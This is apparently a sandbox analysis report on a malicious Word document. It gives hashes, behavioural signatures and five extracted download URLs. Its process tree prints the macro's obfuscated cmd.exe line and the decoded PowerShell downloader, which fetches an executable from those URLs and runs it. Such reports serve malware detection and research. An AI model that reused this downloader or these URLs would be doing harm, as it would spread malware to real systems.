Analysis
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max time kernel
145s -
max time network
133s -
platform
windows10-2004_x64 -
resource
win10v2004-20240508-en -
resource tags
arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system -
submitted
19-05-2024 22:18
Behavioral task
behavioral1
Sample
5bc521b758d2288503d5c59d06d62dfc_JaffaCakes118.doc
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
5bc521b758d2288503d5c59d06d62dfc_JaffaCakes118.doc
Resource
win10v2004-20240508-en
General
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Target
5bc521b758d2288503d5c59d06d62dfc_JaffaCakes118.doc
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Size
77KB
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MD5
5bc521b758d2288503d5c59d06d62dfc
-
SHA1
57c7d979ef03f90583e789b6eab17394e07a9b0c
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SHA256
733668adb75a557390e1170023a577b9176c3fb4885adce8e663a3062e1f22b6
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SHA512
eb93739878b97dc28252a72de7e7a116b36e5fa150974c5c3c9d38bbef86228e82e43ac1b82caa27275dc761ea527847a98ed2bd82725cc5edce04db5d4b9519
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SSDEEP
768:/pJcaUitGAlmrJpmxlzC+w99NBd+1oY/SYXCP9xSoDzXC0NWOnnqr/qrgJcoQjt:/ptJlmrJpmxlRw99NBd+aYqJzjeY
Malware Config
Extracted
http://brkini.net/Rfb
http://betwext.com/PTa1a1aF
http://birmetalciningezinotlari.com/8NE/PAYROLL/Cpf2tl
http://ussvictory.org/a
http://tvaradze.com/pqHFlQI
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE is not expected to spawn this process 2136 2776 cmd.exe WINWORD.EXE -
Blocklisted process makes network request 6 IoCs
Processes:
powershell.exeflow pid process 33 4812 powershell.exe 39 4812 powershell.exe 41 4812 powershell.exe 43 4812 powershell.exe 48 4812 powershell.exe 50 4812 powershell.exe -
An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
Processes:
cmd.exepid process 2136 cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
Processes:
WINWORD.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
Processes:
WINWORD.EXEpid process 2776 WINWORD.EXE 2776 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
powershell.exepid process 4812 powershell.exe 4812 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 4812 powershell.exe -
Suspicious use of SetWindowsHookEx 7 IoCs
Processes:
WINWORD.EXEpid process 2776 WINWORD.EXE 2776 WINWORD.EXE 2776 WINWORD.EXE 2776 WINWORD.EXE 2776 WINWORD.EXE 2776 WINWORD.EXE 2776 WINWORD.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WINWORD.EXEcmd.exedescription pid process target process PID 2776 wrote to memory of 2136 2776 WINWORD.EXE cmd.exe PID 2776 wrote to memory of 2136 2776 WINWORD.EXE cmd.exe PID 2136 wrote to memory of 4812 2136 cmd.exe powershell.exe PID 2136 wrote to memory of 4812 2136 cmd.exe powershell.exe
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\5bc521b758d2288503d5c59d06d62dfc_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2776 -
C:\Windows\SYSTEM32\cmd.execmd /V^:^O/C"s^e^t B^7=^ ^ ^ ^ ^ ^ ^ ^ ^}^}{^hc^tac}^;^ka^er^b^;C^Ej$ met^I^-e^k^ovnI^;)C^E^j$ ^,d^D^W^$(^e^l^iFd^aolnwoD^.NG^z$^{^yr^t^{)^dJ^i$ ni d^DW^$(^hcaer^of;'exe^.^'+^b^w^l^$^+^'\^'+c^ilbup^:vne$=C^Ej$;^'8^8' =^ ^bw^l$^;)^'@^'(^t^ilpS.^'IQ^lFHq^p/m^oc^.ez^d^ar^avt//^:^p^t^th^@^a/^gro.yro^tcivs^s^u//:ptth@^l^t^2^fpC/^L^LORY^AP/EN8/^moc.ir^a^lt^onize^gn^in^iclate^mr^ib//^:ptth^@^Fa^1^a^1^a^T^P/m^oc^.^txewt^eb//:^p^t^t^h^@^bfR/ten.in^ikr^b//:^p^tt^h'=d^Ji^$;tn^e^i^lC^b^eW.^t^eN^ ^tcej^b^o^-^w^en^=NG^z$ lle^h^sr^e^w^o^p&&^f^or /L %^J ^in (3^65^;-1^;^0)^d^o ^s^e^t ^qD^Z=!^qD^Z!!B^7:~%^J,1!&&^i^f %^J ^ls^s ^1 c^a^l^l %^qD^Z:~^-^3^66%"2⤵
- Process spawned unexpected child process
- An obfuscated cmd.exe command-line is typically used to evade detection.
- Suspicious use of WriteProcessMemory
PID:2136 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell $zGN=new-object Net.WebClient;$iJd='http://brkini.net/Rfb@http://betwext.com/PTa1a1aF@http://birmetalciningezinotlari.com/8NE/PAYROLL/Cpf2tl@http://ussvictory.org/a@http://tvaradze.com/pqHFlQI'.Split('@');$lwb = '88';$jEC=$env:public+'\'+$lwb+'.exe';foreach($WDd in $iJd){try{$zGN.DownloadFile($WDd, $jEC);Invoke-Item $jEC;break;}catch{}}3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4812
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
1B
MD568b329da9893e34099c7d8ad5cb9c940
SHA1adc83b19e793491b1c6ea0fd8b46cd9f32e592fc
SHA25601ba4719c80b6fe911b091a7c05124b64eeece964e09c058ef8f9805daca546b
SHA512be688838ca8686e5c90689bf2ab585cef1137c999b48c70b92f67a5c34dc15697b5d11c982ed6d71be1e1e7f7b4e0733884aa97c3f7a339a8ed03577cf74be09